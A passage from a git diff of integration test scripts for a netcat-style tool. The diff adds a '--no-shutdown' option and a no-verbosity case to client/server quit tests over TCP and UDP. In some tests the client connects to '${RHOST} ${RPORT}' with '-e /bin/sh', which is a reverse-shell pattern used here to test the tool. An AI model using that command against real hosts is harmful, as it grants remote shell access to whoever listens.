"16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # No verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/001---tcp---client_quits---when_server_is_killed---client_default---after_client_sent_data.sh b/tests/integration/01-behaviour-quit--client/001---tcp---client_quits---when_server_is_killed---client_default---after_client_sent_data.sh index 0576a3ed..0931abbf 100755 --- a/tests/integration/01-behaviour-quit--client/001---tcp---client_quits---when_server_is_killed---client_default---after_client_sent_data.sh +++ b/tests/integration/01-behaviour-quit--client/001---tcp---client_quits---when_server_is_killed---client_default---after_client_sent_data.sh @@ -145,24 +145,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # No verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # No verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/002---tcp---client_quits---when_server_is_killed---client_default---after_server_sent_data.sh b/tests/integration/01-behaviour-quit--client/002---tcp---client_quits---when_server_is_killed---client_default---after_server_sent_data.sh index c9f79603..e78c6b77 100755 --- a/tests/integration/01-behaviour-quit--client/002---tcp---client_quits---when_server_is_killed---client_default---after_server_sent_data.sh +++ b/tests/integration/01-behaviour-quit--client/002---tcp---client_quits---when_server_is_killed---client_default---after_server_sent_data.sh @@ -145,24 +145,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/003---tcp---client_quits---when_server_is_killed---client_command---before_send.sh b/tests/integration/01-behaviour-quit--client/003---tcp---client_quits---when_server_is_killed---client_command---before_send.sh index 4b3613d9..cecb73db 100755 --- a/tests/integration/01-behaviour-quit--client/003---tcp---client_quits---when_server_is_killed---client_command---before_send.sh +++ b/tests/integration/01-behaviour-quit--client/003---tcp---client_quits---when_server_is_killed---client_command---before_send.sh @@ -136,24 +136,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/004---tcp---client_quits---when_server_is_killed---client_command---after_server_sent_command.sh b/tests/integration/01-behaviour-quit--client/004---tcp---client_quits---when_server_is_killed---client_command---after_server_sent_command.sh index 829dab0f..514e5a2e 100755 --- a/tests/integration/01-behaviour-quit--client/004---tcp---client_quits---when_server_is_killed---client_command---after_server_sent_command.sh +++ b/tests/integration/01-behaviour-quit--client/004---tcp---client_quits---when_server_is_killed---client_command---after_server_sent_command.sh @@ -145,24 +145,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/100---udp---client_stays---when_server_is_killed---client_default---before_send.sh b/tests/integration/01-behaviour-quit--client/100---udp---client_stays---when_server_is_killed---client_default---before_send.sh index 036377a7..79528147 100755 --- a/tests/integration/01-behaviour-quit--client/100---udp---client_stays---when_server_is_killed---client_default---before_send.sh +++ b/tests/integration/01-behaviour-quit--client/100---udp---client_stays---when_server_is_killed---client_default---before_send.sh @@ -149,24 +149,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/101---udp---client_stays---when_server_is_killed---client_default---after_client_sent_data.sh b/tests/integration/01-behaviour-quit--client/101---udp---client_stays---when_server_is_killed---client_default---after_client_sent_data.sh index 42dc3fa8..e5723d5f 100755 --- a/tests/integration/01-behaviour-quit--client/101---udp---client_stays---when_server_is_killed---client_default---after_client_sent_data.sh +++ b/tests/integration/01-behaviour-quit--client/101---udp---client_stays---when_server_is_killed---client_default---after_client_sent_data.sh @@ -158,24 +158,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" 